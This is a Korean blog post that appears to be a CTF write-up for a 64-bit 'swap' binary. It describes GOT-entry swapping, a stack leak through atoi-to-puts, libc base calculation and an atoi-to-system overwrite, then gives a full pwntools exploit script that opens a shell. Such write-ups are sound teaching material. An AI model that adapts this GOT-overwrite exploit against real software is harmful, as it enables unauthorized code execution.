제일 먼저 파일을 확인하면 64비트 동적으로 컴파일 된 바이너리이다.
보호기법은 스택 쿠키와 nx가 걸려있다.
코드를 보면 두개의 값을 입력받고 그 값에 해당하는 메모리를 서로 바꿔주는 프로그램이었다.
하지만 서로 바꾸면 예상치 못한 곳에서 segment 오류가 날 수 있다.
그래서 생각한 것이 첫번째 인자를 memcpy로 해주고 두번째 인자를 read 바꿔주면 memcpy는 read로 바뀌지만 read는 memcpy로 바뀌지 않아서 원하는 곳에 원하는 값을 써줄 수 있다는 것이다.
사용자가 입력하는 변수를 인자로 가지는 것은 atoi와 atoll밖에 없었다.
그 중 atoll을 바꾸면 나중에 system함수를 넣을 때 써야 되므로 atoi got를 puts plt로 바꿔줘서 스택 릭을 하였다.
스택 릭을 하니 뒤에 세자리가 고정된 값이 반복적으로 릭이 되었다.
따라서 고정된 특정 주소와 libc_base와의 offset은 고정되어있으므로 gdb로 libc_base까지의 offset을 계산해서 넣어줘서 릭을 하였다.
마지막으로 puts의 리턴값이 넣어준 바이트 개수인것을 이용하여 바꾸었던 atoi함수를 system으로 넣어주고 buf를 /bin/sh로 바꿔줘서 쉘을 얻었다.
payload
# usr/bin/env python # ryuuu from pwn import * import sys elf = ELF("./swap") read_got = elf.got["read"] memcpy_got = elf.got["memcpy"] puts_plt = elf.plt["puts"] atoi_got = elf.got["atoi"] libc_start_main_got = elf.got['__libc_start_main'] log.info("read_got :"+hex(read_got)) log.info("memcpy_got :"+hex(memcpy_got)) log.info("puts_plt :"+hex(puts_plt)) log.info("libc_start_main_got :"+hex(libc_start_main_got)) #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("./libc-2.19.so") libc_start_main_offset = libc.symbols['__libc_start_main'] libc_system = libc.symbols['system'] #system offset libc_binsh = next(libc.search("/bin/sh\x00")) #binsh offset log.info("libc_start_main_offset :"+hex(libc_start_main_offset)) #s = process("swap") #s = process(["strace", "-i" ,"./swap"]) s = remote("nc addr", port) sleep(5) s.sendlineafter("choice:","1") s.sendlineafter("1st addr",str(memcpy_got)) # memcpy -> read s.sendlineafter("2nd addr",str(read_got)) s.sendlineafter("choice:","2") s.sendlineafter("choice:","1") s.sendlineafter("1st addr",str(0)) s.sendlineafter("2nd addr",str(atoi_got)) # overwrite atoi s.sendlineafter("choice:","2") s.recv(1) s.send(p64(puts_plt)) # atoi -> puts print s.recvuntil("choice:") s.sendline("A"*7) s.recvuntil("AAAAAAA\n") stack_leak = u64(s.recv(8)+"\x00\x00") log.info("stack_leak :"+hex(stack_leak)) libc_base = stack_leak - 0x3c2483 - 0x1000 system_addr = libc_base + libc_system binsh_addr = libc_base + libc_binsh log.info("libc_base :"+hex(libc_base)) s.sendlineafter("choice:","\x00") s.sendlineafter("1st addr",str(0)) s.sendlineafter("2nd addr",str(atoi_got)) # atoi -> system s.sendlineafter("choice:","\x01\x00") sleep(1) s.send(p64(system_addr)) s.sendlineafter("choice:","/bin/sh\00") #print util.proc.pidof(s) #pause() s.interactive()
'pwnable > ctf' 카테고리의 다른 글
[write-up] 2017 white_league-start (0) | 2018.02.05 |
---|---|
[write-up]Codegate 2017 babypwn (1) | 2018.01.31 |
[write-up] 2016 hdcon - pwnit (0) | 2018.01.29 |
[write-up] 2015 defcon - r0pbaby (0) | 2018.01.28 |
[write-up] 2017 samsung ctf - msg (4) | 2018.01.28 |
댓글